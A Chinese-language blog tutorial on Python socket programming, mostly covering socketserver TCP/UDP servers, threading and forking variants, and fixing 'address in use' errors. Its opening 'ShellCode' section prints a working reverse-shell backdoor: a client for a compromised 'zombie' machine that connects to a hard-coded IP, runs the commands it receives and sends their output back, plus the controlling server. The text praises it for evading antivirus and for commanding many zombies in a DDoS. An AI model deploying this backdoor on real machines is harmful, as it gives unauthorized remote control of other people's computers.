万物互联之~网络编程加强篇

文章汇总:https://www.cnblogs.com/dotnetcrazy/p/9160514.html 目录: 1.引入¶ ShellCode¶ 扩展¶ 2.更便捷的服务端实现方法¶ TCP¶ UDP¶ 手写服务器¶ 扩展:Linux端口被占用的解决¶ 加强篇 上节回顾:https://www.cnblogs.com/dotnetcrazy/p/9919202.html 1.引入 ShellCode 上节写了个端口扫描器,这次写个ShellCode回顾下上节内容 肉鸡端: #!/usr/bin/env python3 import sys import subprocess from socket import socket def exec(cmd): try: process = subprocess.Popen([cmd], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) return process.communicate() except Exception as ex: print(ex) def main(): # 不写死是防止远程服务器被封后就失效 ip = "192.168.1.109" or sys.argv[1] with socket() as tcp_socket: # 连接远控服务器 tcp_socket.connect((ip, 8080)) while True: data = tcp_socket.recv(2048) if data: cmd = data.decode("utf-8") stdout, stderr = exec(cmd) if stderr: tcp_socket.send(stderr) if stdout: tcp_socket.send(stdout) if __name__ == "__main__": main() 服务端: from socket import socket def main(): with socket() as tcp_socket: tcp_socket.bind(('', 8080)) tcp_socket.listen() client_socket, client_addr = tcp_socket.accept() with client_socket: print(f"[肉鸡{client_addr}已经上线:]\n") while True: cmd = input("$ ") client_socket.send(cmd.encode("utf-8")) data = client_socket.recv(2048) if data: print(data.decode("utf-8")) if __name__ == "__main__": main() 演示效果: 1.shell_code.gif 可能有人会说,肉鸡设置为Server,自己远控登录貌似更简单吧?但是有没有想过: 客户端越复杂,那么被查杀的可能就越大 如果你肉鸡无数,现在需要DDOS某站。你是全部连接并发送指令方便,还是直接一条指令全部执行方便? 课后拓展: 如何创建反向Shell来执行远程Root命令 http://os.51cto.com/art/201312/424378.htm 扩展 获取网站的IP: socket.gethostbyname("网站URL") 返回主机的真实主机名,别名列表和IP地址列表 socket.gethostbyname_ex 2.更便捷的服务端实现方法 上节留下了一个悬念:有没有更方便的方式来实现服务端?这次揭晓一下: Python底层其实基于Select实现了一套SocketServer,下面来看看:(现在大部分都是epoll和aio) SocketServer官方图示以及一些常用方法: +------------+ | BaseServer | +------------+ | v +-----------+ +------------------+ | TCPServer |------->| UnixStreamServer | +-----------+ +------------------+ | v +-----------+ +--------------------+ | UDPServer |------->| UnixDatagramServer | +-----------+ +--------------------+ __all__ = ["BaseServer", "TCPServer", "UDPServer", "ThreadingUDPServer", "RequestHandler", "BaseRequestHandler", "StreamRequestHandler", "DatagramRequestHandler", "ThreadingMixIn"] TCP 基础案例 Python全部封装好了,只要继承下BaseRequestHandler自己定义一下handle处理方法即可: from socketserver import BaseRequestHandler, TCPServer class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send(b'HTTP/1.1 200 ok\r\n\r\n

TCP Server Test

') def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() # 期待服务器并执行自定义的Handler方法 # 不启动也可以使用client_socket, client_address = server.get_request()来自定义处理 if __name__ == "__main__": main() 效果如下: 1.tcpserver.gif 扩展案例 换个处理器也是很方便的事情,比如这个类文件IO的案例: SocketServer.StreamRequestHandler中对客户端发过来的数据是用rfile属性来处理的,rfile是一个类file对象.有缓冲.可以按行分次读取;发往客户端的数据通过wfile属性来处理,wfile不缓冲数据,对客户端发送的数据需一次性写入. 服务器: from time import sleep from socketserver import TCPServer, StreamRequestHandler class MyHandler(StreamRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") # 接受来自客户端的IO流( 类似于打开IO,等待对方写) # self.rfile = self.request.makefile('rb', self.rbufsize) for line in self.rfile: # 阻塞等 print(f"接受到的数据:{line}") # 发送给客户端(类似于写给对方) self.wfile.write(line) sleep(0.2) # 为了演示方便而加 def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main() 客户端: from time import sleep from socket import socket, SOL_SOCKET, SO_REUSEADDR def main(): with socket() as tcp_socket: tcp_socket.connect(('', 8080)) with open("1.tcp.py", "rb") as fs: while True: data = fs.readline() if data: tcp_socket.send(data) else: break while True: data = tcp_socket.recv(2048) if data: print(data.decode("utf-8")) sleep(0.2) # 为了演示方便而加 if __name__ == "__main__": main() 输出:(一行一行显示出来) 1.streamtest 其实还可以通过设置其他的类变量来支持一些新的特性: import socket from socketserver import TCPServer, StreamRequestHandler class MyHandler(StreamRequestHandler): # 可选设置(下面的是默认值) timeout = 5 # 所有socket超时时间 rbufsize = -1 # 读缓冲区大小 wbufsize = 0 # 写缓冲区大小 disable_nagle_algorithm = False # 设置TCP无延迟选项 def handle(self): print(f"[来自{self.client_address}的消息:]\n") # 接受来自客户端的IO流(类似于打开IO,等待对方写) try: for line in self.rfile: # 阻塞等 print(f"接受到的数据:{line}") # 发送给客户端(类似于写给对方) self.wfile.write(line) except socket.timeout as ex: print("---" * 10, "网络超时", "---" * 10) print(ex) print("---" * 10, "网络超时", "---" * 10) def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main() 效果: 1.stream_ext.png 业余拓展: http://a564941464.iteye.com/blog/1170464 https://www.cnblogs.com/txwsqk/articles/2909546.html https://blog.csdn.net/tycoon1988/article/details/39990403 https://hg.python.org/cpython/file/tip/Lib/socketserver.py 加强案例 上面说的方法是最基础的,也是单线程的,对于现在这个高并发的时代肯定是吃不消的,那有没有并发模式的呢? 先结合以前并发编程来个案例:(改成多进程也行,Nginx就是多进程的) from multiprocessing.dummy import threading from socketserver import TCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n

TCP Server

".encode("utf-8")) if __name__ == "__main__": with TCPServer(('', 8080), MyHandler) as server: for _ in range(10): # 指定线程数 t = threading.Thread(target=server.serve_forever) t.setDaemon(True) t.start() server.serve_forever() 使用Python封装的方法:(还记得开头贴的一些方法名和类名吗?__all__ = [...]) 多线程版:(变TCPServer为ThreadingTCPServer) from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n

TCP Server Threading

".encode("utf-8")) if __name__ == "__main__": with ThreadingTCPServer(('', 8080), MyHandler) as server: server.serve_forever() 多进程版:(变TCPServer为ForkingTCPServer) from socketserver import ForkingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n

TCP Server Forking

".encode("utf-8")) if __name__ == "__main__": with ForkingTCPServer(('', 8080), MyHandler) as server: server.serve_forever() 虽然简单了,但是有一个注意点: 使用fork或线程服务器有个潜在问题就是它们会为每个客户端连接创建一个新的进程或线程。 由于客户端连接数是没有限制的,DDOS可能就需要注意了 如果你担心这个问题,你可以创建一个预先分配大小的工作线程池或进程池。你先创建一个普通的非线程服务器,然后在一个线程池中使用serve_forever()方法来启动它们(也就是我们一开始结合并发编程举的例子) UDP UDP的就简单提一下,来看个简单案例: 服务器: from socketserver import UDPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]\n") data, socket = self.request with socket: if data: print(data.decode("utf-8")) socket.sendto("行啊,小张晚上我请你吃~".encode("utf-8"), self.client_address) def main(): with UDPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main() 客户端: from socket import socket, AF_INET, SOCK_DGRAM def main(): with socket(AF_INET, SOCK_DGRAM) as udp_socket: udp_socket.sendto("小明,今晚去喝碗羊肉汤?".encode("utf-8"), ('', 8080)) data, addr = udp_socket.recvfrom(1024) print(f"[来自{addr}的消息:]\n") if data: print(data.decode("utf-8")) if __name__ == "__main__": main() 演示:(想要多线程或者多进程就自己改下名字即可,很简单) 1.udpserver.gif 手写服务器 上面使用了Python帮我们封装的服务器,现在手写一个简单版的Server: from socket import socket def main(): with socket() as tcp_socket: # 绑定端口 tcp_socket.bind(('', 8080)) # 监听 tcp_socket.listen() # 等待 client_socket, client_address = tcp_socket.accept() # 收发数据 with client_socket: print(f"[来自{client_address}的消息:\n") msg = client_socket.recv(2048) if msg: print(msg.decode("utf-8")) client_socket.send( """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n

哈哈哈

""" .encode("utf-8")) if __name__ == "__main__": main() 服务器响应:(请求头就靠\r\n\r\n来分隔了) 1.test.png 浏览器请求:(charset=utf-8) 1.test_server.png 扩展:Linux端口被占用的解决 参考文章:Linux端口被占用的解决(附Python专版) 手写版解决 from socket import socket, SOL_SOCKET, SO_REUSEADDR def main(): with socket() as tcp_socket: # 防止端口占用 tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # 绑定端口 tcp_socket.bind(('', 8080)) # 监听 tcp_socket.listen() # 等待 client_socket, client_address = tcp_socket.accept() # 收发消息 with client_socket: print(f"[来自{client_address}的消息:\n") msg = client_socket.recv(2048) if msg: print(msg.decode("utf-8")) client_socket.send( """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n

哈哈哈

""" .encode("utf-8")) if __name__ == "__main__": main() 服务器版解决 from socket import SOL_SOCKET, SO_REUSEADDR from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]") data = self.request.recv(2048) print(data) self.request.send( "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n

小明,晚上吃鱼汤吗?

" .encode("utf-8")) def main(): # bind_and_activate=False 手动绑定和激活 with ThreadingTCPServer(('', 8080), MyHandler, False) as server: # 防止端口占用 server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) server.server_bind() # 自己绑定 server.server_activate() # 自己激活 server.serve_forever() if __name__ == "__main__": main() 解决前: 1.server_port_error.gif 解决后: 1.server_port.gif 这个就涉及到TCP4次握手相关的内容了,如果不是长连接,你先断开客户端,再断开服务端就不会遇到这个问题了,具体问题下次继续探讨~ 简化扩展(推荐) 虽然简化了,但有时候也会出现端口占用的情况(很少出现) from socket import SOL_SOCKET, SO_REUSEADDR from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[来自{self.client_address}的消息:]") data = self.request.recv(2048) print(data) self.request.send( "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n

小明,晚上吃鱼汤吗?

" .encode("utf-8")) def main(): # 防止端口占用 ThreadingTCPServer.allow_reuse_address = True with ThreadingTCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main() 源码比较简单,一看就懂: def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True): BaseServer.__init__(self, server_address, RequestHandlerClass) self.socket = socket.socket(self.address_family, self.socket_type) if bind_and_activate: try: # 看这 self.server_bind() self.server_activate() except: self.server_close() raise def server_bind(self): # 看这 if self.allow_reuse_address: self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind(self.server_address) self.server_address = self.socket.getsockname() 下级预估:Linux 5种 IO模型(这边的Select也是其中的一种) 作者:毒逆天 出处:https://www.cnblogs.com/dotnetcrazy 打赏:18i4JpL6g54yAPAefdtgqwRrZ43YJwAV5z 本文版权归作者和博客园共有。欢迎转载,但必须保留此段声明,且在文章页面明显位置给出原文连接! 分类: Pythonhttps://www.cnblogs.com/dotnetcrazy/p/10022242.html
50000+
5万行代码练就真实本领
17年
创办于2008年老牌培训机构
1000+
合作企业
98%
就业率

联系我们

电话咨询

0532-85025005

扫码添加微信